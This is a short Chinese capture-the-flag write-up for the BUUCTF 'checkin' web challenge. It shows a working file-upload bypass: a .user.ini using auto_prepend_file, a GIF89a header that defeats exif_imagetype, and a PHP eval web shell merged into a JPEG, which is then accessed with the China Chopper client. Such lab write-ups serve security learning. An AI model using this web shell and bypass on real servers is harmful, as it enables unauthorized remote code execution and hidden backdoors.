BUUCTF_web_checkln

方法

利用.user.ini隐藏后门。配置项auto_prepend_file
会让php文件在执行前先包含一个指定的文件，通过这个配置项，我们就可以来隐藏自己的后门

步骤

1.新建文件.user.ini,写入

GIF89a                  //绕过exif_imagetype()
auto_prepend_file=test.jpg

它的作用是指定在主文件之前自动解析的文件test.jpg，并包含该文件，就像使用require函数调用它一样。

2.新建文件test.php,写入

GIF89a            
<script language='php'> //规定脚本语言
@eval($_POST['pass']);
</script>

3.准备一张图片1.jpg,在cmd中执行命令来制作图片马

copy 1.jpg/b+test.php/a test.jpg

这里b标志二进制文件，a表示ASCII码文件

4.先上传.user.ini文件，然后再上传图片马，也就是test.jpg文件，上传成功后可以看到图片马是被包含在.user.ini文件里的

5.用中国菜刀连接，找到flag